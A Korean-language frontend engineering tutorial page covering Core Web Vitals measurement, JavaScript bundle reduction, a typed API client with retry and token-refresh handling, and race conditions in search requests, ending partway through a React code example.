먼저 재세요 — sum by (service) (bytes_over_time({env="prod"}[24h])) 한 줄이면 어느 서비스가 하루에 몇 GB 를 쓰는지 나옵니다. 대개 한두 서비스가 전체의 대부분이고, 그 서비스의 한두 줄이 원인입니다. 전사 정책보다 그 두 줄을 고치는 게 빠릅니다.
탭을 마치며 — 열두 절을 한 줄로 — console 은 편의 함수(lg01), 서버는 pino(lg02~03), 필드가 검색어(lg05), 요청 ID 는 저장소가 나르고(lg07), 타입으로 잠그고(lg08), 동기 쓰기를 피하고(lg09), 비밀은 애초에 안 담고(lg10), 브라우저는 사건을 보내고(lg11), 앱은 stdout 까지만, 그 뒤는 인프라(lg12). “로그를 왜 그렇게 찍었냐”에 이제 설계로 답할 수 있습니다.
정리 — 앱은 stdout 에 JSON 한 줄까지만 책임집니다. 런타임이 파일로 받고, 에이전트가 풀어서 원통(자체 운영)이나 구름(SaaS)으로 보냅니다. OpenTelemetry 는 우선 traceId 를 로그에 심는 것부터, 알림은 비율로, 비용은 재고 나서 줄입니다.
FRONTEND IN PRODUCTION · Core Web Vitals · 번들 · API · 레이스 · 보안 · 모니터링 · TS 5.x · React 19 · 2026 기준

배포한 다음 날
터지는 것들을
미리 막는다

튜토리얼의 화면은 내 노트북, 빠른 와이파이, 한 번의 클릭에서 돕니다. 실서비스는 느린 안드로이드 · 끊기는 지하철 · 두 번 누르는 손가락 · 악의적인 입력에서 돕니다. 이 탭은 그 차이에서 생기는 성능 · 장애 · 보안 이슈를 신입이 혼자 처리할 수 있게 측정법 → 원인 → 처방 순서로 정리했습니다. 문법은 다른 탭에 맡기고 여기서는 판단 기준과 절차만 다룹니다. 이 탭을 마치면 "사이트가 느려요", "가끔 엉뚱한 결과가 떠요", "에러가 났대요" 같은 제보를 받았을 때 어디부터 볼지 압니다.

13SECTIONS
p75성능은 백분위로
React 19· TS 5.x 기준
1배포 전 체크리스트
PROD 01

Core Web Vitals — 재고 나서 고친다

"느리다"는 제보는 고칠 수 없습니다. 어느 페이지의 어떤 지표가, 몇 번째 백분위에서, 얼마인지가 있어야 고칩니다. 구글이 정한 세 지표 — LCP · INP · CLS — 가 그 공용어이고, 검색 순위에도 반영됩니다.

세 지표의 합격선 — 방문자의 p75 가 초록 구간에 있어야 합니다 좋음 개선 필요 나쁨 ● = 우리 서비스 p75 (예시) LCP 큰 콘텐츠가 뜨는 시각 2.5 s 4 s p75 3.1 s — 히어로 이미지 INP 입력 뒤 화면 반응까지 200 ms 500 ms p75 340 ms — 검색 필터 CLS 예고 없는 화면 밀림 0.1 0.25 p75 0.04 — 합격 판정은 실제 사용자 기기(필드) 값으로 — 내 노트북 Lighthouse 점수는 참고용입니다
세 지표 모두 75번째 백분위(p75)로 판정합니다 — 평균은 느린 사용자를 숨깁니다.

세 지표를 한 줄씩

지표무엇을 재나합격선 (p75)
LCP화면에서 가장 큰 이미지·글 덩어리가 그려진 시각. "다 떴다"의 체감≤ 2.5 s
INP클릭·키 입력 후 다음 프레임이 그려지기까지. 방문 중 가장 나쁜 쪽에 가까운 값을 씁니다≤ 200 ms
CLS사용자가 안 건드렸는데 요소가 밀린 정도의 합(가장 나쁜 5초 창)≤ 0.1
TTFB보조 지표 — 서버가 첫 바이트를 줄 때까지. LCP 의 바닥≤ 0.8 s 권장
FID 는 끝났습니다 — 2024년 3월부터 INP 가 FID 를 대체했습니다. FID 는 첫 입력의 대기 시간만 쟀기 때문에 "처음엔 빠른데 쓰다 보면 버벅이는" 화면을 못 잡았습니다. 오래된 블로그 글의 FID 처방은 건너뛰세요.

랩 점수와 필드 값은 다른 물건입니다

랩 (Lighthouse · DevTools)필드 (실사용자)
어디서내 PC, 정해진 조건방문자 기기 전부
INP못 잽니다 (아무도 클릭 안 함) → TBT 로 대신잽니다
쓰임고친 뒤 재현·비교문제가 있는지 판정
출처DevTools Performance · PageSpeedCrUX(구글 수집) · 내 RUM
신입이 가장 많이 하는 실수 — Lighthouse 를 100점으로 만들고 "끝났다"고 보고하는 것. 사용자 대부분은 중저가 안드로이드 + 4G입니다. DevTools 에서 CPU 4배 감속 + Fast 4G 를 켜고 보는 습관을 들이고, 판정은 반드시 필드 p75 로 하세요.

현장 수집 — web-vitals 로 실사용자 값을 모은다 🟡 중급

수집 코드 — 앱 진입점에서 한 번

// src/vitals.ts   npm i web-vitals   (v5 기준)
import type { Metric } from "web-vitals";
import { onCLS, onINP, onLCP, onTTFB } from "web-vitals/attribution";

type Row = {
  name: Metric["name"]; value: number; rating: Metric["rating"];
  id: string; page: string; target?: string;
};
const queue: Row[] = [];
const SAMPLE = Math.random() < 0.2;          // ★ 20% 표본 — 트래픽 많으면 줄이기

function push(m: Metric, target?: string) {
  if (!SAMPLE) return;
  queue.push({
    name: m.name, value: m.value, rating: m.rating, id: m.id,
    page: location.pathname,                   // 쿼리스트링은 빼기(개인정보)
    target,                                    // "어느 요소 때문에"의 단서
  });
}

// attribution 빌드는 원인 정보까지 줍니다 (조금 더 큼)
onLCP((m) => push(m, m.attribution.target));          // v4 까지는 element
onINP((m) => push(m, m.attribution.interactionTarget));
onCLS((m) => push(m, m.attribution.largestShiftTarget));
onTTFB((m) => push(m));

function flush() {
  if (queue.length === 0) return;
  const blob = new Blob([JSON.stringify(queue.splice(0))],
                        { type: "application/json" });
  // 탭을 닫는 순간에도 전송되는 방법
  if (!navigator.sendBeacon("/rum/vitals", blob)) {
    void fetch("/rum/vitals", { method: "POST", body: blob, keepalive: true });
  }
}
// unload 가 아니라 visibilitychange — 모바일은 unload 가 안 올 때가 많습니다
addEventListener("visibilitychange", () => {
  if (document.visibilityState === "hidden") flush();
});
같은 출처로 보내세요 — /rum/vitals 처럼 내 도메인으로 받고 서버가 저장소로 넘깁니다. 다른 도메인에 JSON 비콘을 보내면 CORS 사전 요청이 붙어 닫히는 탭에서 유실됩니다.

모은 값을 읽는 법 — 평균 금지, p75

-- PostgreSQL · 지난 7일, 페이지 × 지표별 p75
SELECT page, name,
       percentile_cont(0.75) WITHIN GROUP (ORDER BY value) AS p75,
       count(*)                                             AS n
FROM   rum_vitals
WHERE  ts > now() - interval '7 days'
GROUP  BY page, name
HAVING count(*) >= 100            -- 표본이 적은 페이지는 판정 보류
ORDER  BY name, p75 DESC;
읽는 순서 (매주 한 번, 10분)
 1. 지표별로 p75 가 '나쁨' 인 페이지부터           ← 우선순위
 2. 그 페이지의 target 상위 3개                     ← 원인 요소
 3. 기기 · 연결 종류로 쪼개 보기 (모바일만 나쁜가?)
 4. 배포일 전후 비교 — 어느 배포에서 꺾였나
 5. 고친 뒤 '필드 값' 이 바뀌는 데 최소 며칠 — 랩으로 먼저 확인
도구를 이미 쓰고 있다면 — Sentry · Datadog RUM · Vercel Speed Insights 같은 서비스가 같은 web-vitals 를 내부에서 씁니다. 둘을 동시에 켜면 값이 두 번 쌓이니 한쪽만 고르세요. 로그 파이프라인 설계는 📝 로깅 탭을 참고하세요.
LCP 3.4 s 를 뜯어 보면 — attribution 이 주는 네 구간 0 1 s 2 s 3 s 4 s ① TTFB 0.9 s · 서버 응답 ② 로드 지연 1.2 s — 이미지를 늦게 발견 ③ 로드 시간 0.8 s · 다운로드 ④ 렌더 지연 0.5 s 합격선 2.5 s ②가 길면 JS 가 이미지를 늦게 넣은 것 — HTML 에 바로 두고 fetchpriority 를 줍니다
LCP 는 한 숫자가 아니라 네 구간의 합입니다 — 가장 긴 구간 하나만 고쳐도 합격선을 넘습니다.

실무에선 이렇게 — 원인별 처방 🔴 실무

LCP · CLS — 대부분 HTML 과 CSS 에서 끝납니다

<!-- ① LCP 이미지: HTML 에 직접, 우선순위 높게, lazy 금지 -->
<img src="/hero.avif" width="1200" height="600" alt="여름 신상품"
     fetchpriority="high" decoding="async">

<!-- ② CSS 배경 · 폰트처럼 늦게 발견되는 것은 미리 알려 주기 -->
<link rel="preload" as="image" href="/hero.avif" fetchpriority="high">
<link rel="preconnect" href="https://cdn.example.com" crossorigin>

<!-- ③ 첫 화면 밖 이미지만 lazy -->
<img src="/card-12.avif" width="320" height="240" alt="" loading="lazy">
/* CLS ① — width/height 속성 + 이 두 줄이면 자리가 미리 잡힙니다 */
img, video { max-width: 100%; height: auto; }

/* CLS ② — 나중에 채워지는 칸은 크기를 예약 */
.ad-slot  { min-height: 250px; }
.thumb    { aspect-ratio: 16 / 9; }
.skeleton { height: 72px; }          /* 실제 행 높이와 같게 */

/* CLS ③ — 웹폰트 교체로 글줄이 밀리는 것 줄이기 */
@font-face {
  font-family: "Pretendard";
  src: url("/fonts/Pretendard.woff2") format("woff2");
  font-display: swap;
}

/* CLS ④ — 움직임은 top/left 가 아니라 transform (밀림으로 안 셉니다) */
.toast { transform: translateY(-8px); transition: transform .2s; }

INP — 긴 작업을 쪼개 메인 스레드를 돌려준다

// 50ms 넘는 작업 하나가 그 사이의 모든 클릭을 막습니다
type Sched = { yield?: () => Promise<void> };
const sched = (globalThis as { scheduler?: Sched }).scheduler;

// Chrome 129+ 는 scheduler.yield, 나머지는 setTimeout 으로 대체
export const yieldToMain = (): Promise<void> =>
  sched?.yield ? sched.yield() : new Promise((r) => setTimeout(r, 0));

export async function applyAll(rows: Row[]) {
  let last = performance.now();
  for (const row of rows) {
    recalc(row);
    if (performance.now() - last > 40) {   // 40ms 마다 한 번 양보
      await yieldToMain();
      last = performance.now();
    }
  }
}
// React — 입력은 즉시, 무거운 목록은 뒤로 미루기
function Search({ all }: { all: Item[] }) {
  const [q, setQ] = useState("");
  const deferred = useDeferredValue(q);                 // 늦게 따라오는 값
  const rows = useMemo(() => filter(all, deferred), [all, deferred]);
  return (
    <>
      <input value={q} onChange={(e) => setQ(e.target.value)} />
      <ResultList rows={rows} stale={q !== deferred} />  {/* memo 필수 */}
    </>
  );
}
원인을 찾는 법 — DevTools Performance 탭에서 녹화 → 느린 상호작용을 클릭하면 입력 지연 · 처리 시간 · 표시 지연 셋으로 나뉘어 보입니다(web-vitals 의 INP attribution 과 같은 구분). 처리 시간이 길면 내 코드, 표시 지연이 길면 DOM 이 너무 큰 것입니다. 리렌더 범위 줄이기는 ⚛️ React 탭 a11.
증상 (필드 값)가장 흔한 원인처방
LCP 나쁨 · TTFB 도 큼서버 렌더가 느림 · 캐시 없음 · 리다이렉트 연쇄CDN 캐시 · 리다이렉트 제거 · SSR 데이터 병렬화(▲ Next.js 탭 f11)
LCP 나쁨 · TTFB 정상LCP 이미지가 JS 로 삽입 · lazy 가 붙음 · 원본이 큼HTML 에 직접 · fetchpriority="high" · AVIF/WebP · srcset
INP 나쁨 · 특정 버튼클릭 핸들러가 동기로 무거운 일쪼개기(yieldToMain) · 결과 계산을 Web Worker 로
INP 나쁨 · 입력창키 입력마다 큰 목록 리렌더useDeferredValue · 가상 스크롤 · memo
INP 나쁨 · 전반적서드파티 스크립트(태그 매니저 · 채팅 위젯)지연 로드 · async/defer · 정말 필요한지 제거 협상
CLS 나쁨크기 없는 이미지 · 늦게 뜨는 배너 · 폰트 교체width/height · 자리 예약 · font-display
정리 — 성능 작업의 순서는 필드 수집 → p75 로 나쁜 페이지 찾기 → attribution 으로 원인 요소 찾기 → 랩에서 재현하고 고치기 → 필드 값으로 확인입니다. Lighthouse 점수는 마지막 확인용이지 목표가 아닙니다.
PROD 02

번들 다이어트 — 가장 큰 칸부터 의심한다

자바스크립트는 같은 크기의 이미지보다 비쌉니다. 받고 끝이 아니라 해석 · 컴파일 · 실행까지 해야 하고, 그동안 메인 스레드가 막혀 LCP 와 INP 가 같이 나빠집니다. 줄이는 일은 감이 아니라 지도를 펴는 것에서 시작합니다.

예시 번들 890 KB (min) — 칸의 넓이가 곧 크기입니다 moment + 전체 로케일 290 KB — 3분의 2가 로케일 → dayjs 로 바꾸면 ≈ 7 KB chart.js 200 KB 통계 화면에서만 쓰는데 첫 화면 번들에 들어 있음 lodash 통째로 70 KB import _ from "lodash" 내 코드 160 KB 줄일 여지가 가장 적은 칸 react · react-dom 130 KB 필수 — 대신 캐시가 오래 갑니다 기타 40 KB 붉은 칸 → 교체, 노란 칸 → 나중에 받기, 점선 칸 → import 방식 수정 분석 도구(visualizer)를 켜면 실제로 이 모양의 그림이 나옵니다
번들을 줄이는 일의 80%는 내 코드가 아니라 남의 라이브러리에서 나옵니다.

지도 펴기 — Vite 에 분석기 붙이기

// vite.config.ts     npm i -D rollup-plugin-visualizer
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import { visualizer } from "rollup-plugin-visualizer";

export default defineConfig(({ mode }) => ({
  plugins: [
    react(),
    // 평소에는 끄고, 분석할 때만 — false 플러그인은 무시됩니다
    mode === "analyze" &&
      visualizer({
        filename: "dist/stats.html",
        template: "treemap",      // sunburst · network 도 있음
        gzipSize: true,           // ★ 실제 전송량은 압축 후 크기
        brotliSize: true,
        open: true,
      }),
  ],
  build: { sourcemap: true },
}));
npx vite build --mode analyze        # dist/stats.html 이 열립니다

# 번들러와 상관없이 — 소스맵만 있으면 됩니다
npx source-map-explorer "dist/assets/*.js"

# 패키지 하나가 얼마나 무거운지 설치 전에
#   bundlephobia.com · pkg-size.dev 에서 이름으로 검색

지도를 읽는 순서

1. 첫 화면 청크(index-*.js)만 봅니다
   — 지연 로드된 청크는 지금 급하지 않습니다
2. 가장 넓은 칸 3개의 이름을 적습니다
3. 칸마다 셋 중 하나로 분류
   ① 교체      : 같은 일을 하는 가벼운 것이 있다 (moment)
   ② 나중에    : 첫 화면에서 안 쓴다 (차트 · 에디터 · 엑셀)
   ③ import 수정: 일부만 쓰는데 통째로 들어왔다 (lodash · 아이콘)
4. 같은 라이브러리가 두 버전 들어왔는지 확인
   npm ls react   ·   pnpm why date-fns
5. 고친 뒤 다시 빌드해 숫자로 비교 (압축 후 크기)
중복 버전이 의외로 큽니다 — A 라이브러리는 date-fns@2, B 는 date-fns@4 를 원하면 둘 다 들어옵니다. npm dedupe · pnpm dedupe 로 정리하고, 안 되면 overrides(npm) / pnpm.overrides 로 맞춥니다. 버전을 강제로 맞출 땐 해당 화면을 꼭 다시 테스트하세요.

코드 스플리팅 — 지금 필요 없는 것은 나중에 🟡 중급

① 라우트 단위 — 가장 효과가 크고 가장 쉽습니다

import { lazy, Suspense } from "react";
import { Link, Route, Routes } from "react-router";

// import() 를 함수로 빼 두면 '미리 받기'에 재사용할 수 있습니다
const loadAdmin  = () => import("./pages/AdminPage");
const AdminPage  = lazy(loadAdmin);                       // default export 필요
const ReportPage = lazy(() =>
  import("./pages/reports").then((m) => ({ default: m.ReportPage })));  // 이름 있는 export

export function App() {
  return (
    <Suspense fallback={<PageSkeleton />}>
      <Routes>
        <Route path="/" element={<Home />} />
        <Route path="/admin/*" element={<AdminPage />} />
        <Route path="/reports" element={<ReportPage />} />
      </Routes>
    </Suspense>
  );
}

// 마우스를 올리거나 포커스하면 미리 받기 — 클릭 시점엔 이미 와 있습니다
<Link to="/admin" onMouseEnter={loadAdmin} onFocus={loadAdmin}>관리자</Link>

② 상호작용 단위 — 누를 때만 받는 무거운 기능

// 차트 라이브러리는 '통계 보기'를 누른 사람만 받습니다
export async function drawChart(canvas: HTMLCanvasElement, data: number[]) {
  const { default: Chart } = await import("chart.js/auto");
  return new Chart(canvas, {
    type: "line",
    data: { labels: data.map((_, i) => String(i + 1)),
            datasets: [{ label: "주문", data }] },
  });
}

// 에디터 · PDF 뷰어 · 지도 · 엑셀 내보내기 — 전부 같은 패턴
async function onExport() {
  setBusy(true);
  try {
    const { exportToXlsx } = await import("./export-xlsx");  // 내 모듈로 감싸 두기
    await exportToXlsx(rows);
  } finally {
    setBusy(false);
  }
}
쪼갤수록 좋은 것은 아닙니다 — 청크가 수십 개로 잘게 나뉘면 요청 왕복이 늘고 캐시 효율도 나빠집니다. 기준은 "첫 화면에서 쓰는가" 하나입니다. 라우트 + 무거운 기능 몇 개면 충분합니다. 번들러 내부 동작은 🧰 도구 탭 o03 · 🧬 전문가 탭 d18 에 있습니다.
교체 후보 세 쌍 — min + gzip 대략값 (버전마다 다름) 0 20 40 60 80 KB moment (로케일 포함) ≈ 72 KB dayjs ≈ 3 KB — 대부분 같은 API lodash (전체) ≈ 25 KB lodash-es (함수만) ≈ 1~2 KB — 쓰는 것만 axios ≈ 14 KB fetch 래퍼 (직접) ≈ 1 KB — PROD 03 의 request() 숫자는 반드시 bundlephobia · pkg-size 에서 내 버전으로 다시 확인하세요 교체는 '첫 화면 번들에 들어 있을 때'만 값어치가 있습니다
가벼운 대체재는 크기가 10분의 1인 경우가 흔합니다 — 다만 바꾸기 전에 쓰는 기능 목록부터 확인합니다.

실무에선 이렇게 — tree-shaking 이 깨지는 패턴 🔴 실무

import 한 줄이 70 KB 를 부릅니다

// ❌ CommonJS 패키지를 통째로 — 안 쓰는 함수까지 전부
import _ from "lodash";
_.debounce(fn, 300);

// ✅ ESM 판에서 이름으로 — 번들러가 나머지를 지웁니다
import { debounce } from "lodash-es";
// ✅ 또는 현대적인 대체재 (ESM · 타입 내장)
import { debounce } from "es-toolkit";

// ❌ 이름을 문자열로 고르면 '전부 필요하다'고 판단됩니다
import * as Icons from "lucide-react";
const Icon = Icons[props.name as keyof typeof Icons];

// ✅ 쓰는 것만 명시적으로 모은 지도
import { Bell, Search, User } from "lucide-react";
const ICONS = { bell: Bell, search: Search, user: User } as const;
const Icon2 = ICONS[props.name];          // name: keyof typeof ICONS

// ❌ 기본 내보내기를 객체로 — 속성 단위로는 못 지웁니다
export default { formatPrice, formatDate, parseCsv };
// ✅ 이름 있는 내보내기
export { formatPrice, formatDate, parseCsv };

"부작용 있음"으로 오해받지 않게

// 내가 만드는 패키지(모노레포 packages/ui)의 package.json
{
  "name": "@acme/ui",
  "type": "module",
  "sideEffects": ["**/*.css"],     // ★ CSS 만 부작용, 나머지는 지워도 됨
  "exports": { ".": "./src/index.ts" }
}
// ❌ 배럴(index.ts) 안에서 모듈 최상위 실행 코드
// packages/ui/src/index.ts
export * from "./Button";
export * from "./DataGrid";      // DataGrid.ts 최상위에서 registerLicense() 호출
// → 버튼만 써도 DataGrid 가 끌려옵니다

// ✅ 부작용은 함수 안으로 — 쓰는 쪽이 명시적으로 부르게
export function setupDataGrid(key: string) { registerLicense(key); }
배럴 파일이 개발 서버도 느리게 합니다 — import { Button } from "@/components" 한 줄이 개발 중에는 배럴이 가리키는 모든 파일을 변환하게 만듭니다. 큰 프로젝트에서는 직접 경로 (@/components/Button)를 쓰는 규칙을 린트로 강제하기도 합니다.

예산을 CI 에 걸어 다시 커지지 않게

// package.json      npm i -D size-limit @size-limit/file
{
  "scripts": { "size": "size-limit" },
  "size-limit": [
    { "name": "첫 화면 JS", "path": "dist/assets/index-*.js", "limit": "170 kB" },
    { "name": "CSS",       "path": "dist/assets/*.css",      "limit": "30 kB" }
  ]
}
# .github/workflows/ci.yml 의 한 단계
- run: npm run build
- run: npx size-limit        # 한도를 넘으면 실패 → PR 이 막힙니다

자주 만나는 교체 목록

무거운 것대안
momentdayjs · date-fns · 단순 표시면 Intl(PROD 11)
lodashlodash-es · es-toolkit · 표준 메서드(structuredClone · Object.groupBy)
axios얇은 fetch 래퍼(PROD 03) · ky
core-js 전체 폴리필브라우저 목표(build.target) 올리기 · 필요한 것만
아이콘 폰트 통째로SVG 아이콘 개별 import
UI 키트 전체 CSS쓰는 컴포넌트만 · 유틸 CSS
정리 — 분석기로 지도 펴기 → 가장 넓은 칸 3개를 교체 · 나중에 · import 수정으로 분류 → 라우트 단위 lazy → CI 예산. 마지막 단계를 빼먹으면 석 달 뒤 같은 번들로 돌아와 있습니다.
PROD 03

API 계층 설계 — 에러의 모양을 하나로

컴포넌트마다 fetch 를 직접 부르면 타임아웃 · 재시도 · 토큰 · 에러 처리가 파일마다 조금씩 다르게 복사됩니다. 장애 날 때 화면마다 다른 메시지가 뜨는 이유입니다. 이 일을 한 겹의 http 클라이언트로 모읍니다.

계층 — 각 층은 아래층만 부르고, 자기 몫만 압니다 컴포넌트 · 훅 (useQuery) 로딩 · 에러 화면만 안다 · URL 은 모른다 도메인 API — ordersApi URL · 응답 타입을 안다 · 토큰은 모른다 http 클라이언트 — request() 타임아웃 · 재시도 · 401 재발급 · 에러 정규화 fetch · AbortSignal 브라우저 기본 — 404 · 500 도 '성공'으로 돌려줌 네트워크 · 서버 호출 방향 axios 를 fetch 로 바꿔도 붉은 층 하나만 고치면 됩니다 — 위층은 모릅니다
"에러가 어떻게 생겼나"를 붉은 층 한 곳에서 정하면, 화면은 ApiError 한 종류만 다루면 됩니다.

fetch 를 그대로 쓰면 생기는 일

// 흔히 보는 코드 — 세 군데가 틀렸습니다
const res  = await fetch("/api/orders");
const data = await res.json();
setOrders(data);

// ① 404 · 500 에도 fetch 는 reject 하지 않습니다 → res.ok 를 직접 확인
// ② 204 · 빈 응답 · HTML 에러 페이지면 res.json() 이 SyntaxError
//    → "Unexpected token '<'" 의 정체가 이것 (프록시가 준 HTML)
// ③ 타임아웃이 없습니다 → 서버가 안 끊으면 영원히 로딩 스피너

// 연결 실패 · DNS · CORS 차단은 전부 TypeError 하나로 옵니다
//   "Failed to fetch" (Chrome) · "Load failed" (Safari) · "NetworkError…" (Firefox)
//   → 메시지 문자열로 분기하지 말고 '종류'로 분류합니다

에러를 다섯 종류로 정규화

// src/shared/http/error.ts
export type ApiErrorKind = "network" | "timeout" | "aborted" | "http" | "parse";

export class ApiError extends Error {
  readonly kind: ApiErrorKind;
  readonly status?: number;
  readonly code?: string;        // 서버 업무 코드: OUT_OF_STOCK 등
  readonly details?: unknown;    // 필드 에러 등 (PROD 06)

  constructor(kind: ApiErrorKind, message: string,
    init: { status?: number; code?: string; details?: unknown; cause?: unknown } = {}) {
    super(message, { cause: init.cause });
    this.name = "ApiError";
    this.kind = kind;
    this.status = init.status;
    this.code = init.code;
    this.details = init.details;
  }

  get retryable(): boolean {
    if (this.kind === "network" || this.kind === "timeout") return true;
    return this.kind === "http" && (this.status === 429 || (this.status ?? 0) >= 500);
  }
}

export function toApiError(e: unknown): ApiError {
  if (e instanceof ApiError) return e;
  if (e instanceof DOMException && e.name === "TimeoutError")
    return new ApiError("timeout", "응답이 너무 늦습니다", { cause: e });
  if (e instanceof DOMException && e.name === "AbortError")
    return new ApiError("aborted", "요청이 취소되었습니다", { cause: e });
  return new ApiError("network", "네트워크 연결을 확인해 주세요", { cause: e });
}

request() — 타임아웃 · 취소 · 재시도를 한 곳에 🟡 중급

// src/shared/http/request.ts
import { ApiError, toApiError } from "./error";
import { getAccessToken, refreshOnce } from "./auth";

const BASE = import.meta.env.VITE_API_URL ?? "/api";

type SendOpts = Omit<RequestInit, "body" | "signal"> & {
  json?: unknown;            // 객체를 주면 JSON 으로 직렬화
  signal?: AbortSignal;      // 호출한 쪽의 취소 (언마운트 · 새 검색)
  timeoutMs?: number;
};
type Opts = SendOpts & { retries?: number };

export async function request<T>(path: string, opts: Opts = {}): Promise<T> {
  const { retries, ...sendOpts } = opts;
  const method = (opts.method ?? "GET").toUpperCase();
  // ★ 멱등한 요청만 자동 재시도 — POST 를 재시도하면 주문이 두 번 들어갑니다
  const max = retries ?? (method === "GET" ? 2 : 0);

  for (let attempt = 0; ; attempt++) {
    try {
      return await send<T>(path, method, sendOpts, false);
    } catch (e) {
      const err = toApiError(e);
      if (err.kind === "aborted" || !err.retryable || attempt >= max) throw err;
      await sleep(backoff(attempt), opts.signal);
    }
  }
}

async function send<T>(path: string, method: string, opts: SendOpts, afterRefresh: boolean): Promise<T> {
  const { json, signal, timeoutMs = 10_000, headers, ...init } = opts;

  // 타임아웃과 호출자 취소를 하나로 — 어느 쪽이 먼저 와도 fetch 가 멈춥니다
  const signals = [AbortSignal.timeout(timeoutMs)];
  if (signal) signals.push(signal);

  const h = new Headers(headers);
  if (json !== undefined) h.set("Content-Type", "application/json");
  const token = getAccessToken();
  if (token) h.set("Authorization", `Bearer ${token}`);

  const res = await fetch(BASE + path, {
    ...init, method, headers: h,
    body: json === undefined ? undefined : JSON.stringify(json),
    signal: AbortSignal.any(signals),
    credentials: "include",
  });

  if (res.status === 401 && !afterRefresh) {          // 토큰 만료 → 한 번만 재발급 후 재시도
    await refreshOnce();
    return send<T>(path, method, opts, true);
  }
  if (!res.ok) throw await httpError(res);
  if (res.status === 204) return undefined as T;
  try {
    return (await res.json()) as T;
  } catch (e) {
    throw new ApiError("parse", "응답 형식이 올바르지 않습니다", { status: res.status, cause: e });
  }
}

async function httpError(res: Response): Promise<ApiError> {
  // 서버와의 약속: { code, message, details? } — 아니면 상태 코드로 대신합니다
  const body = (await res.json().catch(() => null)) as
    { code?: string; message?: string; details?: unknown } | null;
  return new ApiError("http", body?.message ?? `요청 실패 (${res.status})`,
    { status: res.status, code: body?.code, details: body?.details });
}

// 지수 백오프 + 지터 — 수천 명이 '동시에' 재시도하는 폭주를 흩뜨립니다
const backoff = (n: number) => Math.min(8_000, 500 * 2 ** n) * (0.5 + Math.random() / 2);

function sleep(ms: number, signal?: AbortSignal) {
  return new Promise<void>((resolve, reject) => {
    const t = setTimeout(resolve, ms);
    signal?.addEventListener("abort", () => { clearTimeout(t); reject(signal.reason); }, { once: true });
  });
}
브라우저 지원 — AbortSignal.timeout · AbortSignal.any 는 2024년 이후 주요 브라우저에 모두 들어왔습니다. 아주 오래된 사파리를 지원해야 하면 setTimeout + AbortController 로 직접 묶으세요. 서버가 429 와 함께 Retry-After 를 주면 백오프 대신 그 값을 쓰는 것이 예의입니다.
401 두 개 → 재발급은 한 번 — 세로가 시간입니다 화면 (A · B) http 클라이언트 API 서버 /auth/refresh 1. A · B 동시에 요청 2. 둘 다 전송 3. 401 · 401 4. 재발급은 딱 한 번 (B 는 같은 Promise 를 기다림) 5. 새 access 토큰 6. A · B 재시도 (새 토큰) 7. 200 · 200 8. 화면은 401 을 모름 재발급을 요청마다 보내면 refresh 토큰 회전 때문에 두 번째가 실패해 로그아웃됩니다
재발급 큐의 핵심은 진행 중인 Promise 하나를 모두가 공유하는 것 — 변수 하나로 끝납니다.

실무에선 이렇게 — 재발급 큐와 도메인 API 🔴 실무

refreshOnce — 동시에 몇 개가 와도 한 번

// src/shared/http/auth.ts
import { ApiError } from "./error";

let accessToken: string | null = null;        // ★ 메모리에만 (PROD 07)
export const getAccessToken = () => accessToken;
export const setAccessToken = (t: string | null) => { accessToken = t; };

let refreshing: Promise<void> | null = null;

export function refreshOnce(): Promise<void> {
  // 이미 진행 중이면 그 Promise 를 그대로 돌려줍니다 — 이것이 '큐'
  refreshing ??= (async () => {
    try {
      // refresh 토큰은 HttpOnly 쿠키라 JS 가 볼 수 없고, 볼 필요도 없습니다
      const res = await fetch("/api/auth/refresh", { method: "POST", credentials: "include" });
      if (!res.ok) {
        setAccessToken(null);
        window.dispatchEvent(new Event("session-expired"));  // 로그인 화면으로 (한 번만)
        throw new ApiError("http", "다시 로그인해 주세요",
          { status: 401, code: "SESSION_EXPIRED" });
      }
      const { accessToken: next } = (await res.json()) as { accessToken: string };
      setAccessToken(next);
    } finally {
      refreshing = null;                        // 다음 만료 때 다시 시작할 수 있게
    }
  })();
  return refreshing;
}
무한 루프 주의 — 재발급 요청 자체를 request() 로 보내면 그 요청이 401 을 받고 또 재발급을 부릅니다. 위처럼 맨 fetch 로 보내거나, afterRefresh 같은 표시로 재시도는 딱 한 번만 허용하세요.

도메인 API — 화면은 이것만 부릅니다

// src/features/orders/api.ts
import { request } from "@/shared/http/request";

export type Order = { id: string; total: number; status: "paid" | "shipped" | "canceled" };
export type Paged<T> = { items: T[]; nextCursor: string | null };

export const ordersApi = {
  list: (cursor: string | null, signal?: AbortSignal) =>
    request<Paged<Order>>(`/orders?cursor=${encodeURIComponent(cursor ?? "")}`, { signal }),
  cancel: (id: string) =>
    request<void>(`/orders/${encodeURIComponent(id)}/cancel`, { method: "POST" }),
};
// 화면 — TanStack Query 가 signal 을 넘겨 줍니다 (언마운트 · 키 변경 시 자동 취소)
const q = useQuery({
  queryKey: ["orders", "list"],
  queryFn: ({ signal }) => ordersApi.list(null, signal),
});
if (q.error instanceof ApiError && q.error.kind === "network") return <OfflineBanner />;
kind사용자에게자동 재시도
network"연결을 확인해 주세요" + 다시 시도 버튼GET 만
timeout"지연되고 있습니다" — 결제는 결과 조회로 안내GET 만
aborted아무것도 띄우지 않음 (내가 취소한 것)안 함
http 4xx서버 message · 필드 에러는 폼에안 함 (429 제외)
http 5xx"잠시 후 다시" + 에러 IDGET 만
정리 — 컴포넌트는 fetch 를 모르고, 도메인 API → request() → fetch 의 세 겹을 지납니다. 타임아웃 · 취소 · 멱등 요청만 재시도 · 401 재발급 큐 · 에러 다섯 종류 — 이 다섯 가지가 한 파일에 있으면 장애 때 고칠 곳도 한 곳입니다.
PROD 04

레이스 컨디션 — 늦게 온 응답이 이긴다

"가끔 검색 결과가 엉뚱해요", "주문이 두 번 들어갔어요" — 재현이 안 되는 버그의 상당수는 순서 문제입니다. 네트워크는 보낸 순서대로 돌려주지 않습니다. 프론트엔드는 싱글 스레드라도 비동기 작업끼리는 늘 경주합니다.

자동완성 요청 네 개 — 막대 끝이 응답 도착 시각입니다 0 200 400 600 800 ms 입력 "r" 250 ms 입력 "re" (느림) 720 ms 입력 "rea" 220 ms 입력 "react" 220 ms · 마지막 입력 화면에 보이는 결과 r rea react — 정답 re 덮어씀 이기는 것은 '마지막에 보낸 요청'이 아니라 '마지막에 도착한 응답'입니다 처방: 이전 요청을 abort 하거나, 응답이 지금 입력의 것인지 확인하고 버립니다
로컬에서는 응답 속도가 고르게 빨라 재현이 안 됩니다 — DevTools 의 네트워크 감속으로 일부러 흔들어 봐야 보입니다.

처방 ① — 다음 입력이 오면 이전 요청을 끊는다

function useSearch(term: string) {
  const [items, setItems] = useState<Item[]>([]);
  const [error, setError] = useState<ApiError | null>(null);

  useEffect(() => {
